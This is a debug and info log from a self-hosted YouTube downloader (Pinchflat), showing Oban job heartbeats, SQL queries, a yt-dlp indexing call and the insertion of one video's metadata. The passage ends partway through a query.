10:47:22.814 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:52.817 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.224 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:22.819 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:52.822 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.224 [info] {"source":"oban","duration":153,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:22.824 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:52.827 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.226 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:22.829 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:52.832 [info] {"source":"oban","duration":2143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.226 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:22.835 [info] {"source":"oban","duration":2191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 10:51:52.838 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.228 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:22.841 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:52.844 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.228 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:22.847 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:52.850 [info] {"source":"oban","duration":1777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.230 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:22.853 [info] {"source":"oban","duration":2158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:52.856 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.231 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:22.859 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:52.862 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.233 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:22.864 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:52.867 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.233 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:22.870 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:52.873 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.235 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:22.876 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:52.879 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.237 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:22.882 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:52.885 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.239 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:22.888 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:52.891 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.241 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:22.893 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:52.896 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.242 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:22.899 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:52.902 [info] {"source":"oban","duration":2133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.243 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:22.905 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:52.908 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.244 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:22.911 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:52.914 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.245 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:22.917 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:52.920 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.247 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:22.923 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:52.926 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.247 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:22.929 [info] {"source":"oban","duration":2018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:52.932 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.248 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:22.935 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:52.938 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.249 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:22.941 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:52.944 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.250 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:22.947 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:52.950 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.251 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:22.953 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:52.956 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:59.753 [info] {"args":{"id":32},"id":7243,"meta":{},"system_time":1780413119753461436,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:11:59.754 [debug] QUERY OK source="sources" db=0.2ms idle=862.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:11:59.754 [debug] QUERY OK source="settings" db=0.2ms idle=862.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:59.756 [debug] QUERY OK source="media_items" db=1.1ms idle=863.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 11:11:59.756 [debug] QUERY OK source="media_items" db=0.3ms idle=9.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 11:11:59.757 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:11:59.758 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:59.758 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:59.760 [debug] QUERY OK source="media_items" db=1.3ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [32] 11:11:59.761 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:11:59.761 [debug] Current batch of media processed. Will check again in 1000ms 11:11:59.762 [debug] QUERY OK source="settings" db=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:59.762 [debug] QUERY OK source="settings" db=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:59.762 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:11:59.762 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@aquariuminfo --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Aquarium Info/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/ea/60/ea600573df19bc9dc70a08799fe143cca7f53b6d80118453d8c113ad41b0b982.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0a/14/0a1415813e9fc0f5f69729ac88edd153f2afae130c38ae02fd4c64ce01022186.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:12:00.252 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:00.762 [debug] Current batch of media processed. Will check again in 1000ms 11:12:01.763 [debug] Current batch of media processed. Will check again in 1000ms 11:12:02.764 [debug] Current batch of media processed. Will check again in 1000ms 11:12:03.765 [debug] Current batch of media processed. Will check again in 1000ms 11:12:04.767 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1027, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", "id" => "vw_KuLVHKP8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vw_KuLVHKP8", "playlist_index" => 1, "timestamp" => 1780149805, "title" => "I Hatched Pet Dinosaurs (300 Million Years Old)", "upload_date" => "20260530"} 11:12:04.767 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1875.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:04.768 [debug] QUERY OK source="sources" db=0.1ms idle=1876.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:04.768 [debug] QUERY OK source="media_items" db=0.2ms idle=1016.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 14:03:25Z], 32] 11:12:04.771 [debug] QUERY OK source="media_items" db=2.1ms idle=877.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "ec6b733d-4d2d-4361-9dfd-dae321d7db91", "vw_KuLVHKP8", false, "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, [], 1027, false, 1, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, false, 98, ~U[2026-05-30 14:03:25Z], ~U[2026-06-02 15:12:04Z], ~U[2026-06-02 15:12:04Z], "I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "vw_KuLVHKP8", "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, 1027, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, ~U[2026-05-30 14:03:25Z]] 11:12:04.772 [debug] QUERY OK source="sources" db=0.3ms idle=18.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:04.772 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", 